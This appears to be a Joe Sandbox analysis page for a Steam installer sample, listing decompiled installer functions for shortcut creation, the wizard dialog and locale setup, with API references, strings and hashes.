Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction ID: 909a2899cbbcfc21b24ab628f9350e7a3c7b3772aa6d432f74911df6ac2d0bb5
Opcode Fuzzy Hash: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction Fuzzy Hash: 8BD0C9315045209BC2111778AE4C85B7A98AF553317628A36B466F12A0C674CC22869C

Uniqueness

Uniqueness Score: -1.00%

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00402095() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x34)) = E00402BBF(0xfffffff0);
				 *((intOrPtr*)(_t107 - 8)) = E00402BBF(0xffffffdf);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402BBF(2);
				 *((intOrPtr*)(_t107 - 0x3c)) = E00402BBF(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0x10)) = E00402BBF(0x45);
				_t52 =  *(_t107 - 0x1c);
				 *(_t107 - 0x40) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x38) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405BA9( *((intOrPtr*)(_t107 - 8))) == 0) {
					E00402BBF(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56); // executed
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x48);
					 *((intOrPtr*)(_t107 - 0x14)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x14)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 8)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Program Files (x86)\\Steam");
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x38));
						_t91 =  *((intOrPtr*)(_t107 - 0x3c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x40));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 0xc)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0x10)));
						if( *((intOrPtr*)(_t107 - 0x14)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x48));
							 *((intOrPtr*)(_t107 - 0x14)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x34)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x48));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x14)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x0040209e
0x004020a8
0x004020b2
0x004020bc
0x004020c7
0x004020ca
0x004020e4
0x004020e7
0x004020ed
0x004020f0
0x004020fa
0x004020fe
0x004020fe
0x00402103
0x00402114
0x0040211c
0x004021d3
0x004021d3
0x004021da
0x00402122
0x00402122
0x00402131
0x00402135
0x00402138
0x0040213e
0x0040214c
0x0040214f
0x00402151
0x0040215c
0x0040215c
0x00402161
0x00402163
0x0040216a
0x0040216a
0x0040216d
0x00402176
0x00402179
0x0040217f
0x00402181
0x0040218b
0x0040218b
0x0040218e
0x00402197
0x0040219a
0x004021a3
0x004021a9
0x004021ab
0x004021b9
0x004021b9
0x004021bc
0x004021c2
0x004021c2
0x004021c5
0x004021cb
0x004021d1
0x004021e6
0x00000000
0x00000000
0x00000000
0x004021d1
0x004021dc
0x00402a4f
0x00402a5b

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Program Files (x86)\Steam, xrefs: 00402154

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Program Files (x86)\Steam
API String ID: 542301482-4113144287
Opcode ID: 3f37e0e1a3b82b76417f5addfce7e9ce955a39bfd9153315acfc7234e1bdb920
Instruction ID: a109dbacb2976faa502b9a92b0b1fafcf02ea9b6fb783d383e2774f19d5eba59
Opcode Fuzzy Hash: 3f37e0e1a3b82b76417f5addfce7e9ce955a39bfd9153315acfc7234e1bdb920
Instruction Fuzzy Hash: FA412C75A00209AFCF00DFA4CD88AAD7BB6FF48314B20457AF515EB2D1DBB99A41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00403D6A Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00403D6A(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				struct HWND__* _t51;
				signed int _t69;
				struct HWND__* _t75;
				signed int _t88;
				struct HWND__* _t93;
				signed int _t101;
				int _t105;
				signed int _t117;
				signed int _t118;
				int _t119;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				long _t132;
				int _t134;
				int _t135;
				void* _t136;
				void* _t143;

				_t117 = _a8;
				if(_t117 == 0x110 || _t117 == 0x408) {
					_t37 = _a12;
					_t127 = _a4;
					__eflags = _t117 - 0x110;
					 *0x423710 = _t37;
					if(_t117 == 0x110) {
						 *0x42a248 = _t127;
						 *0x423724 = GetDlgItem(_t127, 1);
						_t93 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x4216f0 = _t93;
						E00404242(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x429228); // executed
						 *0x42920c = E0040140B(4);
						_t37 = 1;
						__eflags = 1;
						 *0x423710 = 1;
					}
					_t124 =  *0x40a39c; // 0x6
					_t135 = 0;
					_t132 = (_t124 << 6) +  *0x42a260;
					__eflags = _t124;
					if(_t124 < 0) {
						L34:
						E0040428E(0x40b);
						while(1) {
							_t39 =  *0x423710;
							 *0x40a39c =  *0x40a39c + _t39;
							_t132 = _t132 + (_t39 << 6);
							_t41 =  *0x40a39c; // 0x6
							__eflags = _t41 -  *0x42a264;
							if(_t41 ==  *0x42a264) {
								E0040140B(1);
							}
							__eflags =  *0x42920c - _t135;
							if( *0x42920c != _t135) {
								break;
							}
							__eflags =  *0x40a39c -  *0x42a264; // 0x6
							if(__eflags >= 0) {
								break;
							}
							_t118 =  *(_t132 + 0x14);
							E004061A0(_t118, _t127, _t132, 0x43a000,  *((intOrPtr*)(_t132 + 0x24)));
							_push( *((intOrPtr*)(_t132 + 0x20)));
							_push(0xfffffc19);
							E00404242(_t127);
							_push( *((intOrPtr*)(_t132 + 0x1c)));
							_push(0xfffffc1b);
							E00404242(_t127);
							_push( *((intOrPtr*)(_t132 + 0x28)));
							_push(0xfffffc1a);
							E00404242(_t127);
							_t51 = GetDlgItem(_t127, 3);
							__eflags =  *0x42a2cc - _t135;
							_v32 = _t51;
							if( *0x42a2cc != _t135) {
								_t118 = _t118 & 0x0000fefd | 0x00000004;
								__eflags = _t118;
							}
							ShowWindow(_t51, _t118 & 0x00000008); // executed
							EnableWindow( *(_t136 + 0x30), _t118 & 0x00000100); // executed
							E00404264(_t118 & 0x00000002);
							_t119 = _t118 & 0x00000004;
							EnableWindow( *0x4216f0, _t119); // executed
							__eflags = _t119 - _t135;
							if(_t119 == _t135) {
								_push(1);
							} else {
								_push(_t135);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t135), 0xf060, ??);
							SendMessageW( *(_t136 + 0x38), 0xf4, _t135, 1);
							__eflags =  *0x42a2cc - _t135;
							if( *0x42a2cc == _t135) {
								_push( *0x423724);
							} else {
								SendMessageW(_t127, 0x401, 2, _t135);
								_push( *0x4216f0);
							}
							E00404277();
							E0040617E(0x423728, 0x429240);
							E004061A0(0x423728, _t127, _t132,  &(0x423728[lstrlenW(0x423728)]),  *((intOrPtr*)(_t132 + 0x18)));
							SetWindowTextW(_t127, 0x423728); // executed
							_push(_t135);
							_t69 = E00401389( *((intOrPtr*)(_t132 + 8)));
							__eflags = _t69;
							if(_t69 != 0) {
								continue;
							} else {
								__eflags =  *_t132 - _t135;
								if( *_t132 == _t135) {
									continue;
								}
								__eflags =  *(_t132 + 4) - 5;
								if( *(_t132 + 4) != 5) {
									DestroyWindow( *0x429218); // executed
									 *0x422700 = _t132;
									__eflags =  *_t132 - _t135;
									if( *_t132 <= _t135) {
										goto L58;
									}
									_t75 = CreateDialogParamW( *0x42a240,  *_t132 +  *0x429220 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t132 + 4) * 4), _t132); // executed
									__eflags = _t75 - _t135;
									 *0x429218 = _t75;
									if(_t75 == _t135) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t132 + 0x2c)));
									_push(6);
									E00404242(_t75);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t136 + 0x10);
									ScreenToClient(_t127, _t136 + 0x10);
									SetWindowPos( *0x429218, _t135,  *(_t136 + 0x20),  *(_t136 + 0x20), _t135, _t135, 0x15);
									_push(_t135);
									E00401389( *((intOrPtr*)(_t132 + 0xc)));
									__eflags =  *0x42920c - _t135;
									if( *0x42920c != _t135) {
										goto L61;
									}
									ShowWindow( *0x429218, 8); // executed
									E0040428E(0x405);
									goto L58;
								}
								__eflags =  *0x42a2cc - _t135;
								if( *0x42a2cc != _t135) {
									goto L61;
								}
								__eflags =  *0x42a2c0 - _t135;
								if( *0x42a2c0 != _t135) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x429218); // executed
						 *0x42a248 = _t135;
						EndDialog(_t127,  *0x421ef8);
						goto L58;
					} else {
						__eflags = _t37 - 1;
						if(_t37 != 1) {
							L33:
							__eflags =  *_t132 - _t135;
							if( *_t132 == _t135) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t88 = E00401389( *((intOrPtr*)(_t132 + 0x10)));
						__eflags = _t88;
						if(_t88 == 0) {
							goto L33;
						}
						SendMessageW( *0x429218, 0x40f, 0, 1);
						__eflags =  *0x42920c;
						return 0 |  *0x42920c == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t135 = 0;
					if(_t117 == 0x47) {
						SetWindowPos( *0x423708, _t127, 0, 0, 0, 0, 0x13);
					}
					if(_t117 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x423708,  ~(_a12 - 1) & _t117);
					}
					if(_t117 != 0x40d) {
						__eflags = _t117 - 0x11;
						if(_t117 != 0x11) {
							__eflags = _t117 - 0x111;
							if(_t117 != 0x111) {
								L26:
								return E004042A9(_t117, _a12, _a16);
							}
							_t134 = _a12 & 0x0000ffff;
							_t128 = GetDlgItem(_t127, _t134);
							__eflags = _t128 - _t135;
							if(_t128 == _t135) {
								L13:
								__eflags = _t134 - 1;
								if(_t134 != 1) {
									__eflags = _t134 - 3;
									if(_t134 != 3) {
										_t129 = 2;
										__eflags = _t134 - _t129;
										if(_t134 != _t129) {
											L25:
											SendMessageW( *0x429218, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x42a2cc - _t135;
										if( *0x42a2cc == _t135) {
											_t101 = E0040140B(3);
											__eflags = _t101;
											if(_t101 != 0) {
												goto L26;
											}
											 *0x421ef8 = 1;
											L21:
											_push(0x78);
											L22:
											E0040421B();
											goto L26;
										}
										E0040140B(_t129);
										 *0x421ef8 = _t129;
										goto L21;
									}
									__eflags =  *0x40a39c - _t135; // 0x6
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t134);
								goto L22;
							}
							SendMessageW(_t128, 0xf3, _t135, _t135);
							_t105 = IsWindowEnabled(_t128);
							__eflags = _t105;
							if(_t105 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongW(_t127, _t135, _t135);
						return 1;
					} else {
						DestroyWindow( *0x429218); // executed
						 *0x429218 = _a12;
						L58:
						_t143 =  *0x425728 - _t135; // 0x1
						if(_t143 == 0 &&  *0x429218 != _t135) {
							ShowWindow(_t127, 0xa); // executed
							 *0x425728 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x00403d73
0x00403d7c
0x00403ebd
0x00403ec1
0x00403ec5
0x00403ec7
0x00403ecc
0x00403ed7
0x00403ee2
0x00403ee7
0x00403ee9
0x00403eeb
0x00403eee
0x00403ef3
0x00403f01
0x00403f0e
0x00403f15
0x00403f15
0x00403f16
0x00403f16
0x00403f1b
0x00403f21
0x00403f28
0x00403f2e
0x00403f30
0x00403f70
0x00403f75
0x00403f7a
0x00403f7a
0x00403f7f
0x00403f88
0x00403f8a
0x00403f8f
0x00403f95
0x00403f99
0x00403f99
0x00403f9e
0x00403fa4
0x00000000
0x00000000
0x00403faf
0x00403fb5
0x00000000
0x00000000
0x00403fbe
0x00403fc6
0x00403fcb
0x00403fce
0x00403fd4
0x00403fd9
0x00403fdc
0x00403fe2
0x00403fe7
0x00403fea
0x00403ff0
0x00403ff8
0x00403ffe
0x00404004
0x00404008
0x0040400f
0x0040400f
0x0040400f
0x00404019
0x0040402b
0x00404037
0x0040403c
0x00404046
0x0040404c
0x0040404e
0x00404053
0x00404050
0x00404050
0x00404050
0x00404063
0x0040407b
0x0040407d
0x00404083
0x00404098
0x00404085
0x0040408e
0x00404090
0x00404090
0x0040409e
0x004040ae
0x004040c4
0x004040cb
0x004040d1
0x004040d5
0x004040da
0x004040dc
0x00000000
0x004040e2
0x004040e2
0x004040e4
0x00000000
0x00000000
0x004040ea
0x004040ee
0x00404113
0x00404119
0x0040411f
0x00404121
0x00000000
0x00000000
0x00404147
0x0040414d
0x0040414f
0x00404154
0x00000000
0x00000000
0x0040415a
0x0040415d
0x00404160
0x00404177
0x00404183
0x0040419c
0x004041a2
0x004041a6
0x004041ab
0x004041b1
0x00000000
0x00000000
0x004041bb
0x004041c6
0x00000000
0x004041c6
0x004040f0
0x004040f6
0x00000000
0x00000000
0x004040fc
0x00404102
0x00000000
0x00000000
0x00000000
0x00404108
0x004040dc
0x004041d3
0x004041df
0x004041e6
0x00000000
0x00403f32
0x00403f32
0x00403f35
0x00403f68
0x00403f68
0x00403f6a
0x00000000
0x00000000
0x00000000
0x00403f6a
0x00403f37
0x00403f3b
0x00403f40
0x00403f42
0x00000000
0x00000000
0x00403f52
0x00403f5a
0x00000000
0x00403f60
0x00403d8e
0x00403d8e
0x00403d92
0x00403d97
0x00403da6
0x00403da6
0x00403daf
0x00403db8
0x00403dc3
0x00403dc3
0x00403dcf
0x00403deb
0x00403dee
0x00403e01
0x00403e07
0x00403eaa
0x00000000
0x00403eb3
0x00403e0d
0x00403e1a
0x00403e1c
0x00403e1e
0x00403e3d
0x00403e3d
0x00403e40
0x00403e45
0x00403e48
0x00403e58
0x00403e59
0x00403e5b
0x00403e91
0x00403ea4
0x00000000
0x00403ea4
0x00403e5d
0x00403e63
0x00403e7c
0x00403e81
0x00403e83
0x00000000
0x00000000
0x00403e85
0x00403e71
0x00403e71
0x00403e73
0x00403e73
0x00000000
0x00403e73
0x00403e66
0x00403e6b
0x00000000
0x00403e6b
0x00403e4a
0x00403e50
0x00000000
0x00000000
0x00403e52
0x00000000
0x00403e52
0x00403e42
0x00000000
0x00403e42
0x00403e28
0x00403e2f
0x00403e35
0x00403e37
0x00000000
0x00000000
0x00000000
0x00403e37
0x00403df3
0x00000000
0x00403dd1
0x00403dd7
0x00403de1
0x004041ec
0x004041ec
0x004041f2
0x004041ff
0x00404205
0x00404205
0x0040420f
0x00000000
0x0040420f
0x00403dcf

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403DA6
ShowWindow.USER32(?), ref: 00403DC3
DestroyWindow.USER32 ref: 00403DD7
SetWindowLongW.USER32 ref: 00403DF3
GetDlgItem.USER32 ref: 00403E14
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403E28
IsWindowEnabled.USER32(00000000), ref: 00403E2F
GetDlgItem.USER32 ref: 00403EDD
GetDlgItem.USER32 ref: 00403EE7
KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00403F01
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F52
GetDlgItem.USER32 ref: 00403FF8
ShowWindow.USER32(00000000,?), ref: 00404019
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040402B
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404046
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040405C
EnableMenuItem.USER32 ref: 00404063
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040407B
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040408E
lstrlenW.KERNEL32(00423728,?,00423728,00429240), ref: 004040B7
SetWindowTextW.USER32(?,00423728), ref: 004040CB
ShowWindow.USER32(?,0000000A), ref: 004041FF

Strings

(7B, xrefs: 004040A3

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Window$Item$MessageSend$CallbackDispatcherShowUser$Menu$DestroyEnableEnabledLongSystemTextlstrlen
String ID: (7B
API String ID: 2523155381-3251261122
Opcode ID: f1306570f035e21c4f068449413519e45d51919a909de34d05465df8e21c2881
Instruction ID: 4530f9416eb169af0d44378ddba5762a1eee688012323a74912104aead4a3b33
Opcode Fuzzy Hash: f1306570f035e21c4f068449413519e45d51919a909de34d05465df8e21c2881
Instruction Fuzzy Hash: A5C1FFB1640200FFCB206F61EE84E2B3AA8EB95745F40057EF641B21F1CB7999529B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004039C7 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E004039C7(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x42a250;
				_t22 = E00406558(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x423728;
					L"1033" = 0x30;
					 *0x437002 = 0x78;
					 *0x437004 = 0;
					E0040604B(0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423728, 0);
					__eflags =  *0x423728;
					if(__eflags == 0) {
						E0040604B(0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423728, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004060C5(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403C9D(_t78, _t90);
				_t86 = L"C:\\Program Files (x86)\\Steam";
				 *0x42a2c0 =  *0x42a258 & 0x00000020;
				 *0x42a2dc = 0x10000;
				if(E00405C3A(_t90, L"C:\\Program Files (x86)\\Steam") != 0) {
					L16:
					if(E00405C3A(_t98, _t86) == 0) {
						E004061A0(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x42a240, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x429228 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403C9D(_t78, __eflags);
							__eflags =  *0x42a2e0;
							if( *0x42a2e0 != 0) {
								_t33 = E004053B0(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42920c;
								if( *0x42920c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x423708, 5); // executed
							_t39 = E004064E8("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004064E8("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x4291e0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x4291e0);
								 *0x429204 = _t87;
								RegisterClassW(0x4291e0);
							}
							_t44 = DialogBoxParamW( *0x42a240,  *0x429220 + 0x00000069 & 0x0000ffff, 0, E00403D6A, 0); // executed
							E00403917(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x42a240;
						 *0x4291e4 = E00401000;
						 *0x4291f0 =  *0x42a240;
						 *0x4291f4 = _t30;
						 *0x429204 = 0x40a3b4;
						if(RegisterClassW(0x4291e0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x423708 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a240, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					if( *(_t82 + 0x48) == 0) {
						goto L16;
					}
					_t76 = 0x4281e0;
					E0040604B( *((intOrPtr*)(_t82 + 0x44)),  *0x42a278 + _t78 * 2,  *0x42a278 +  *(_t82 + 0x4c) * 2, 0x4281e0, 0);
					_t63 =  *0x4281e0; // 0x44
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x4281e2;
						 *((short*)(E00405B5F(0x4281e2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040617E(_t86, E00405B32(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405B7E(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004039cd
0x004039d6
0x004039dd
0x004039df
0x004039f3
0x00403a05
0x00403a0e
0x00403a17
0x00403a1e
0x00403a23
0x00403a2a
0x00403a3d
0x00403a3d
0x00403a48
0x004039e1
0x004039ec
0x004039ec
0x00403a4d
0x00403a57
0x00403a60
0x00403a65
0x00403a76
0x00403b08
0x00403b10
0x00403b19
0x00403b19
0x00403b2f
0x00403b35
0x00403b43
0x00403bc4
0x00403bcc
0x00403bd6
0x00403bdb
0x00403be1
0x00403c6b
0x00403c70
0x00403c72
0x00403c8e
0x00000000
0x00403c8e
0x00403c74
0x00403c7a
0x00403c82
0x00403c82
0x00000000
0x00403c7a
0x00403bef
0x00403bfa
0x00403bff
0x00403c01
0x00403c08
0x00403c08
0x00403c13
0x00403c1b
0x00403c1d
0x00403c1f
0x00403c28
0x00403c2b
0x00403c31
0x00403c31
0x00403c50
0x00403c61
0x00000000
0x00403c66
0x00403bce
0x00403bd0
0x00000000
0x00403b45
0x00403b45
0x00403b51
0x00403b5b
0x00403b61
0x00403b66
0x00403b75
0x00403c93
0x00403c93
0x00000000
0x00403c93
0x00403b84
0x00403bbf
0x00000000
0x00403bbf
0x00403a7c
0x00403a7c
0x00403a81
0x00000000
0x00000000
0x00403a8f
0x00403aa1
0x00403aa6
0x00403aaf
0x00000000
0x00000000
0x00403ab5
0x00403ab7
0x00403ac4
0x00403ac4
0x00403acd
0x00403ad3
0x00403afb
0x00403b03
0x00000000
0x00403ae5
0x00403ae6
0x00403aef
0x00403af5
0x00403af6
0x00000000
0x00403af6
0x00403af1
0x00403af3
0x00000000
0x00000000
0x00000000
0x00403af3
0x00403ad3

APIs

Part of subcall function 00406558: GetModuleHandleA.KERNEL32(?,00000020,?,0040341F,00000009), ref: 0040656A
Part of subcall function 00406558: GetProcAddress.KERNEL32(00000000,?), ref: 00406585

lstrcatW.KERNEL32(1033,00423728), ref: 00403A48
lstrlenW.KERNEL32(Delete on reboot: ,?,?,?,Delete on reboot: ,00000000,C:\Program Files (x86)\Steam,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,74D0FAA0), ref: 00403AC8
lstrcmpiW.KERNEL32(?,.exe,Delete on reboot: ,?,?,?,Delete on reboot: ,00000000,C:\Program Files (x86)\Steam,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403ADB
GetFileAttributesW.KERNEL32(Delete on reboot: ), ref: 00403AE6
LoadImageW.USER32 ref: 00403B2F

Part of subcall function 004060C5: wsprintfW.USER32 ref: 004060D2

RegisterClassW.USER32 ref: 00403B6C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B84
CreateWindowExW.USER32 ref: 00403BB9
ShowWindow.USER32(00000005,00000000), ref: 00403BEF
GetClassInfoW.USER32 ref: 00403C1B
GetClassInfoW.USER32 ref: 00403C28
RegisterClassW.USER32 ref: 00403C31
DialogBoxParamW.USER32 ref: 00403C50

Strings

1033, xrefs: 004039E7, 00403A43
(7B, xrefs: 004039F3
.exe, xrefs: 00403AD5
.DEFAULT\Control Panel\International, xrefs: 00403A33
RichEdit20W, xrefs: 00403C13, 00403C19
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 004039CB
RichEdit, xrefs: 00403C22
_Nb, xrefs: 00403B4B, 00403BB3
